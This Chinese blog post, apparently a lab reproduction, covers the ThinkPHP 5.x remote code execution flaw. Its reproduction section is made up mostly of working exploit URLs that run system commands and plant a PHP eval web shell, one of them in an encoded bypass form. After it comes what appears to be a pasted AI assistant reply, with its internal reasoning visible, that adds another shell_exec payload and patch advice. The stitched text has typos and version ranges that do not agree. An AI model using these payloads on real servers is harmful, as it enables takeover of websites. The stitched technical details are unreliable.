Thinkphp框架 5.x远程命令执行漏洞复现

ThinkPHP是一款轻量级的国产PHP开发框架,诞生于2006年,采用MVC模式,支持多种数据库及PHP5.0以上版本。然而,5.x版本存在远程命令执行漏洞,影响版本为5.0.23及以下,5.1.31及以下,可通过特定URL参数利用system函数执行任意命令。

thinkphp 编辑
ThinkPHP是为了简化企业级应用开发和敏捷WEB应用开发而诞生的。最早诞生于2006年初,2007年元旦正式更名为ThinkPHP,并且遵循Apache2开源协议发布。ThinkPHP从诞生以来一直秉承简洁实用的设计原则,在保持出色的性能和至简的代码的同时,也注重易用性。并且拥有众多原创功能和特性,在社区团队的积极参与下,在易用性、扩展性和性能方面不断优化和改进。 [1]
ThinkPHP是一个快速、兼容而且简单的轻量级国产PHP开发框架,诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP,遵循Apache2开源协议发布,从Struts结构移植过来并做了改进和完善,同时也借鉴了国外很多优秀的框架和模式,使用面向对象的开发结构和MVC模式,融合了Struts的思想和TagLib(标签库)、RoR的ORM映射和ActiveRecord模式。
ThinkPHP可以支持windows/Unix/Linux等服务器环境,正式版需要PHP5.0以上版本支持,支持MySql、PgSQL、Sqlite多种数据库以及PDO扩展,ThinkPHP框架本身没有什么特别模块要求,具体的应用系统运行环境要求视开发所涉及的模块。
作为一个整体开发解决方案,ThinkPHP能够解决应用开发中的大多数需要,因为其自身包含了底层架构、兼容处理、基类库、数据库访问层、模板引擎、缓存机制、插件机制、角色认证、表单处理等常用的组件,并且对于跨版本、跨平台和跨数据库移植都比较方便。并且每个组件都是精心设计和完善的,应用开发过程仅仅需要关注您的业务逻辑。
影响范围
5.x < 5.1.31, <= 5.0.23
本地环境:thinkphp5.0.15+php5.6n+ apache2.0
下载地址http://www.thinkphp.cn/donate/download/id/1125.html
复现
利用system函数远程命令执行
http://127.0.0.1/thinkphp5/thinkphp_5.0.15_full/public?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
在这里插入图片描述
http://127.0.0.1/thinkphp5/thinkphp_5.0.15_full/public?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
在这里插入图片描述
写shell
http://127.0.0.1/thinkphp5/thinkphp_5.0.15_full/public?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=…/test.php&vars[1][]=<?php @eval($_GET['code']);?>
在这里插入图片描述
或者编码绕过
hhttp://127.0.0.1/thinkphp5/thinkphp_5.0.15_full/public?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20%3C?php%20@eval($_GET[%22code%22])?%3E%3Eshell.php

<think>嗯,用户要求我查找ThinkPHP5版本5.0.22和5.1.29的远程代码执行漏洞信息。参考了多个站内引用,这些引用都指向同一个漏洞。 用户提供了五个引用来源,我需要从中提炼关键信息。引用[1]提到漏洞是由于获取method方法未正确处理方法名,导致攻击者能调用Request类任意方法;引用[2][3]则强调问题出在控制器名处理不当,默认配置下未开启强制路由;引用[4]明确了受影响版本范围是5.0.23和5.1.31之前的所有版本;引用[5]则给出了具体的漏洞复现URL示例。 漏洞本质在于框架对控制器名的过滤缺陷。当未开启强制路由时(默认关闭),攻击者可通过特殊构造的URL调用任意方法。比如引用[5]展示的payload就很典型:通过s参数注入命名空间路径,配合invokefunction调用危险函数如shell_exec。 修复方案很明确:升级到安全版本5.0.23或5.1.31。临时措施可开启强制路由,但可能影响正常业务。有趣的是,引用[1][3]都提到这是"RCE漏洞",说明危害等级很高。 用户可能需要明确三点:漏洞原理、如何验证漏洞存在、怎样修复。在整理回答时,我会把利用方式中的payload示例单独用代码块呈现,因为涉及具体攻击语法需要清晰分隔。另外需要强调docker复现环境搭建步骤,这对安全研究人员很实用。 考虑到用户是技术背景,相关问题设计可以更深入:比如漏洞的CVE编号、实际攻击案例、补丁对比分析等。安全类问题需要特别注意准确性,所有技术细节必须严格对照引用来源表述。 </think>根据提供的引用信息,以下是ThinkPHP 5.0.22/5.1.29 远程代码执行漏洞的完整分析: --- ### 💣 **漏洞详情** 1. **漏洞本质** 框架未正确处理控制器名和方法名,导致在未开启强制路由(默认关闭)时,攻击者可构造恶意URL调用`Request`类的任意方法,最终实现远程代码执行(RCE)[^1][^2][^3]。 2. **影响版本** - `5.0.x ≤ 5.0.22` - `5.1.x ≤ 5.1.29` (安全版本:5.0.23+ / 5.1.31+)[^4] 3. **触发条件** 默认配置下未开启强制路由(`url_route_must=false`),允许通过URL动态调用控制器方法[^2][^3]。 --- ### ⚠️ **利用方式** 1. **基础攻击Payload** 通过`s`参数注入恶意控制器路径,调用`invokefunction`执行系统命令: ```bash http://target.com/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=id ``` 此Payload调用`shell_exec('id')`返回当前用户信息[^5]。 2. **利用链关键点** - 路径穿越:`\think\app` 触发框架加载流程 - 动态调用:`invokefunction` 反射执行指定函数 - 参数控制:`vars[0]` 传递危险函数(如`system`/`exec`)[^5][^3] --- ### 🔧 **修复方案** 1. **官方补丁** 升级至安全版本: ```bash # 5.0.x 升级命令 composer update topthink/framework 5.0.23 # 5.1.x 升级命令 composer update topthink/framework 5.1.31 ``` 补丁修复了方法名过滤逻辑,禁止非法字符调用[^1][^4]。 2. **临时缓解措施** - 开启强制路由(修改`config/app.php`): ```php 'url_route_must' => true, // 强制路由生效 ``` - 配置WAF拦截包含`/think/app/invokefunction`的请求[^2][^3]。 --- ### 🔍 **漏洞复现步骤** 1. 使用Vulhub环境搭建: ```bash cd vulhub/thinkphp/5.rce docker-compose up -d # 启动漏洞环境 ``` 2. 访问Payload验证漏洞: ``` http://localhost:8080/index.php?s=/Index/\think\app/invokefunction&function=phpinfo&vars[]=1 ``` 成功则返回PHP配置信息[^4][^5]。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值